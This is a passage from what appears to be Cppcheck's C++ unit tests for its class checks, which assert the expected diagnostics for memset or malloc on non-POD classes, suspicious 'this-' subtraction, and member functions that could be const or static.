f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"class A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on class that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector< std::vector > ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(a));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A\\n\"\n \"{ std::vector ints; };\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Using 'memset' on struct that contains a 'std::vector'. [memsetClass]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" std::vector buf;\\n\"\n \" operator int*() {return &buf[0];}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(a, 0, 100);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #4460\n\n checkNoMemset(\"struct C {\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"int foo() {\\n\"\n \" C* c1[10][10];\\n\"\n \" C* c2[10];\\n\"\n \" C c3[10][10];\\n\"\n \" C** c4 = new C*[10];\\n\"\n \" memset(**c1, 0, 10);\\n\"\n \" memset(*c1, 0, 10);\\n\"\n \" memset(*c2, 0, 10);\\n\"\n \" memset(*c3, 0, 10);\\n\"\n \" memset(*c4, 0, 10);\\n\"\n \" memset(c2, 0, 10);\\n\"\n \" memset(c3, 0, 10);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:11:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:12:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\"\n \"[test.cpp:13:5]: (error) Using 'memset' on struct that contains a 'std::string'. [memsetClass]\\n\", errout_str());\n\n // Ticket #6953\n checkNoMemset(\"typedef float realnum;\\n\"\n \"struct multilevel_data {\\n\"\n \" realnum *GammaInv;\\n\"\n \" realnum data[1];\\n\"\n \"};\\n\"\n \"void *new_internal_data() const {\\n\"\n \" multilevel_data *d = (multilevel_data *) malloc(sizeof(multilevel_data));\\n\"\n \" memset(d, 0, sizeof(multilevel_data));\\n\"\n \" return (void*) d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:3]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n }\n\n void memsetOnStdPodType() { // Ticket #5901\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n const Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n checkNoMemset(\"class A {\\n\"\n \" std::array ints;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // std::array is POD (#5481)\n\n checkNoMemset(\"struct st {\\n\"\n \" std::uint8_t a;\\n\"\n \" std::atomic_bool b;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f() {\\n\"\n \" st s;\\n\"\n \" std::memset(&s, 0, sizeof(st));\\n\"\n \"}\", settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnFloat() {\n checkNoMemset(\"struct A {\\n\"\n \" float f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (portability) Using memset() on struct which contains a floating point number. [memsetClassFloat]\\n\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float f[4];\\n\"\n \"};\\n\"\n \"void f(const A& b) {\\n\"\n \" A a;\\n\"\n \" memcpy(&a, &b, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct A {\\n\"\n \" float* f;\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" A a;\\n\"\n \" memset(&a, 0, sizeof(A));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void memsetOnUnknown() {\n checkNoMemset(\"void clang_tokenize(CXToken **Tokens) {\\n\"\n \" *Tokens = (CXToken *)malloc(sizeof(CXToken) * CXTokens.size());\\n\"\n \" memmove(*Tokens, CXTokens.data(), sizeof(CXToken) * CXTokens.size());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void mallocOnClass() {\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"class C { C(int z, Foo bar) { bar(); } };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with malloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = realloc(p, sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:1:1]: (warning) Memory for class instance allocated with realloc(), but class provides constructors. [mallocOnClassWarning]\\n\", errout_str());\n\n checkNoMemset(\"struct C { virtual void bar(); };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a virtual function. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"struct C { std::string s; };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:1:1]: (error) Memory for class instance allocated with malloc(), but class contains a 'std::string'. [mallocOnClassError]\\n\", errout_str());\n\n checkNoMemset(\"class C { };\\n\" // C-Style class/struct\n \"void foo(C*& p) {\\n\"\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C { C() {} };\\n\"\n \"void foo(C*& p) {\\n\"\n \" p = new C();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class C { C() {} };\\n\"\n \"void foo(D*& p) {\\n\" // Unknown type\n \" p = malloc(sizeof(C));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"class AutoCloseFD {\\n\"\n \" int fd;\\n\"\n \"public:\\n\"\n \" AutoCloseFD(int fd);\\n\"\n \" ~AutoCloseFD();\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" AutoCloseFD fd = open(\\\"abc\\\", O_RDONLY | O_CLOEXEC);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkNoMemset(\"struct C {\\n\" // #12313\n \" char* p;\\n\"\n \" C(char* ptr) : p(ptr) {}\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" C c = strdup(\\\"abc\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkThisSubtraction(...) checkThisSubtraction_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkThisSubtraction_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.thisSubtraction();\n }\n\n void this_subtraction() {\n checkThisSubtraction(\"; this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:1:3]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n\n checkThisSubtraction(\"; *this = *this-x ;\\n\"\n \"this-x ;\\n\"\n \"this-x ;\");\n ASSERT_EQUALS(\"[test.cpp:2:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\"\n \"[test.cpp:3:1]: (warning) Suspicious pointer subtraction. Did you intend to write '->'? [thisSubtraction]\\n\", errout_str());\n }\n\n struct CheckConstOptions\n {\n CheckConstOptions() = default;\n const Settings *s = nullptr;\n bool inconclusive = true;\n };\n\n#define checkConst(...) checkConst_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkConst_(const char* file, int line, const char (&code)[size], const CheckConstOptions& options = make_default_obj()) {\n const Settings settings = settingsBuilder(options.s ? *options.s : settings0).certainty(Certainty::inconclusive, options.inconclusive).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckClass checkClass(&tokenizer, &settings, this);\n (checkClass.checkConst)();\n }\n\n void const1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // constructors can't be const..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \"public:\\n\"\n \" Fred() { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment through |=..\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int setA() { a |= true; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // functions with a call to a member function can only be const, if that member function is const, too.. (#1305)\n checkConst(\"class foo {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" int a() const { return x; }\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'Fred::b' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void b() { a(); }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (performance, inconclusive) Technically the member function 'Fred::b' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get()\\n\"\n \" { return 0; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" const std::string foo() const throw() { return \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const2() {\n // ticket 1344\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo() { s = \\\"\\\"; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a) { s = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { s = a; b = a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b) { a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const3() {\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { *a = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a) { s = *a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; s = *b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { s = *a; *b = s; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b) { *a = s; s = b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const4() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \"};\\n\"\n \"int Fred::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:5:11]: (style, inconclusive) Technically the member function 'Fred::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" const std::string & foo();\\n\"\n \"};\\n\"\n \"const std::string & Fred::foo() { return \\\"\\\"; }\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:5:27]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // functions with a function call to a non-const member can't be const.. (#1305)\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" int x;\\n\"\n \" void a() { x = 1; }\\n\"\n \" void b();\\n\"\n \"};\\n\"\n \"void Fred::b() { a(); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // static functions can't be const..\n checkConst(\"class Fred\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" static unsigned get();\\n\"\n \"};\\n\"\n \"static unsigned Fred::get() { return 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \"};\\n\"\n \"void Fred::foo() { s = \\\"\\\"; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument reference can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument references can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { s = a; b = a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string & a, std::string & b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string & a, std::string & b) { a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointer can be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { *a = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" int s;\\n\"\n \" void foo(int * a);\\n\"\n \"};\\n\"\n \"void Fred::foo(int * a) { s = *a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to function argument pointers can be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; *b = s; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:12]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; s = *b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { s = *a; *b = s; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment to variable, can't be const\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo(std::string * a, std::string * b);\\n\"\n \"};\\n\"\n \"void Fred::foo(std::string * a, std::string * b) { *a = s; s = b; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // check functions with same name\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo();\\n\"\n \" void foo(std::string & a);\\n\"\n \" void foo(const std::string & a);\\n\"\n \"};\\n\"\n \"void Fred::foo() { }\"\n \"void Fred::foo(std::string & a) { a = s; }\"\n \"void Fred::foo(const std::string & a) { s = a; }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:7:12]: (performance, inconclusive) Technically the member function 'Fred::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:7:32]: (style, inconclusive) Technically the member function 'Fred::foo' can be const. [functionConst]\\n\", errout_str());\n\n // check functions with different or missing parameter names\n checkConst(\"class Fred {\\n\"\n \" std::string s;\\n\"\n \" void foo1(int, int);\\n\"\n \" void foo2(int a, int b);\\n\"\n \" void foo3(int, int b);\\n\"\n \" void foo4(int a, int);\\n\"\n \" void foo5(int a, int b);\\n\"\n \"};\\n\"\n \"void Fred::foo1(int a, int b) { }\\n\"\n \"void Fred::foo2(int c, int d) { }\\n\"\n \"void Fred::foo3(int a, int b) { }\\n\"\n \"void Fred::foo4(int a, int b) { }\\n\"\n \"void Fred::foo5(int, int) { }\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:9:12]: (performance, inconclusive) Technically the member function 'Fred::foo1' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:4:10] -> [test.cpp:10:12]: (performance, inconclusive) Technically the member function 'Fred::foo2' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:5:10] -> [test.cpp:11:12]: (performance, inconclusive) Technically the member function 'Fred::foo3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:6:10] -> [test.cpp:12:12]: (performance, inconclusive) Technically the member function 'Fred::foo4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:7:10] -> [test.cpp:13:12]: (performance, inconclusive) Technically the member function 'Fred::foo5' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n // check nested classes\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:6:12]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::A::getA() { return a; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:7:14]: (style, inconclusive) Technically the member function 'Fred::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n // check deeply nested classes\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB() { return b; }\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA() { return a; }\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\"\n , errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" int A::getA() { return a; }\\n\"\n \" };\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:9:16]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \" int B::A::getA() { return a; }\\n\"\n \" int B::getB() { return b; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:11:12]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:10:15]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" class B {\\n\"\n \" int b;\\n\"\n \" int getB();\\n\"\n \" class A {\\n\"\n \" int a;\\n\"\n \" int getA();\\n\"\n \" };\\n\"\n \" };\\n\"\n \"};\\n\"\n \"int Fred::B::A::getA() { return a; }\\n\"\n \"int Fred::B::getB() { return b; }\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:12:14]: (style, inconclusive) Technically the member function 'Fred::B::getB' can be const. [functionConst]\\n\"\n \"[test.cpp:7:17] -> [test.cpp:11:17]: (style, inconclusive) Technically the member function 'Fred::B::A::getA' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator< can often be const\n void constoperator1() {\n checkConst(\"struct Fred {\\n\"\n \" int a;\\n\"\n \" bool operator<(const Fred &f) { return a < f.a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'Fred::operator<' can be const. [functionConst]\\n\", errout_str());\n }\n\n // operator<<\n void constoperator2() {\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void operator<<(int);\\n\"\n \"};\\n\"\n \"struct Fred {\\n\"\n \" Foo foo;\\n\"\n \" void x()\\n\"\n \" {\\n\"\n \" std::cout << foo << 123;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:10]: (style, inconclusive) Technically the member function 'Fred::x' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator3() {\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) const { return array[index]; }\\n\"\n \" int & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Fred {\\n\"\n \" int array[10];\\n\"\n \" int const & operator [] (unsigned int index) { return array[index]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style, inconclusive) Technically the member function 'Fred::operator[]' can be const. [functionConst]\\n\", errout_str());\n }\n\n void constoperator4() {\n // #7953\n checkConst(\"class A {\\n\"\n \" int 